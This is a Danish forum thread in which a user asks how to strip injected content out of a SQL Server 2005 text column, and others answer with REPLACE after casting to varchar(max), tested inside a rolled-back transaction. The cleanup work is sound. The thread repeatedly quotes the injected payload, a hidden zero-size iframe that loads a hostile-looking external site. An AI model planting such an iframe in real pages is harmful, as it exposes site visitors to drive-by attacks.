Avatar billede janemil Nybegynder
06. august 2010 - 17:14 Der er 8 kommentarer og
1 løsning

Replace på text field i SQL server 2005

Har overtaget denne opgave inden det er weekend.

Der er kommet snavs i en hjælpe tabel.
Det er ca
http:www.lortehacker.dk" width="0" height="0" style="display:none"></iframe>

Det skal væk. Håbede det bare var.

UPDATE ArtLinks
SET    Beskrivelse = replace(Beskrivelse , '<iframe src="http:www.lortehacker.dk" width="0" height="0" style="display:none"></iframe>', '')

Men der skal vist en krølle på fordi det er et text field.

Hjælp modtages meget gerne.
Avatar billede Syska Mester
06. august 2010 - 17:17 #1
Ja, CAST dit TEXT til VARCHAR og brug derefter REPLACE

mvh
Avatar billede janemil Nybegynder
06. august 2010 - 17:58 #2
Kan du lave en lille demo jeg lige kan se det på?

Gerne på den

UPDATE ArtLinks
SET    Beskrivelse = replace(Beskrivelse , '<iframe src="http:www.lortehacker.dk" width="0" height="0" style="display:none"></iframe>', '')
Avatar billede janemil Nybegynder
06. august 2010 - 18:06 #3
Bare sådan?

UPDATE ArtLinks
SET    Beskrivelse = replace(convert (varchar,Beskrivelse) , '<iframe src="http:www.lortehacker.dk" width="0" height="0" style="display:none"></iframe>', '')
Avatar billede HenrikSjang Nybegynder
06. august 2010 - 18:16 #4
Tæt på, du skal vist lige have angivet en størrelse på din varchar.

UPDATE ArtLinks
SET    Beskrivelse = replace(convert (varchar(max),Beskrivelse) , '<iframe src="http:www.lortehacker.dk" width="0" height="0" style="display:none"></iframe>', '')

Hvis du gerne vil se resultatet af query'en inden du kører den af endeligt, kan du pakke den ind i en transaction, som du laver rollback på. Sådan her:

BEGIN TRAN
UPDATE ArtLinks
SET    Beskrivelse = replace(convert (varchar(max),Beskrivelse) , '<iframe src="http:www.lortehacker.dk" width="0" height="0" style="display:none"></iframe>', '')

SELECT * FROM ArtLinks
ROLLBACK

så laver den updaten efterfulgt af en select * inde i en transaktion. Hvis resultatet ser rigtigt ud, nøjes du bare med at fyre update'n af bagefter, og så er du done.
Avatar billede Syska Mester
06. august 2010 - 18:40 #5
Ja, der var sjang lidt hurtigere :-)
UPDATE ArtLinks SET Beskrivelse = REPLACE(CAST(Beskrivelse AS NVARCHAR(MAX)), 'oldvalue', 'newvalue')

Mange løsninger på samme problem, håber det kommer til at virke.

Og ja, det var nok en god id med BEGIN TRAN

Træls at overskrive alle rows ved en upser *heheh*

mvh
Avatar billede janemil Nybegynder
06. august 2010 - 18:46 #6
>sjang

FEDT

Gider du lige svar?
Avatar billede HenrikSjang Nybegynder
06. august 2010 - 18:55 #7
:)
Avatar billede janemil Nybegynder
06. august 2010 - 18:56 #8
Weekend.

TAK!
Avatar billede Syska Mester
06. august 2010 - 20:00 #9
Glad for at kunne hjælpe så du kunne få weekend :-)

mvh
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Computerworld tilbyder specialiserede kurser i database-management

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester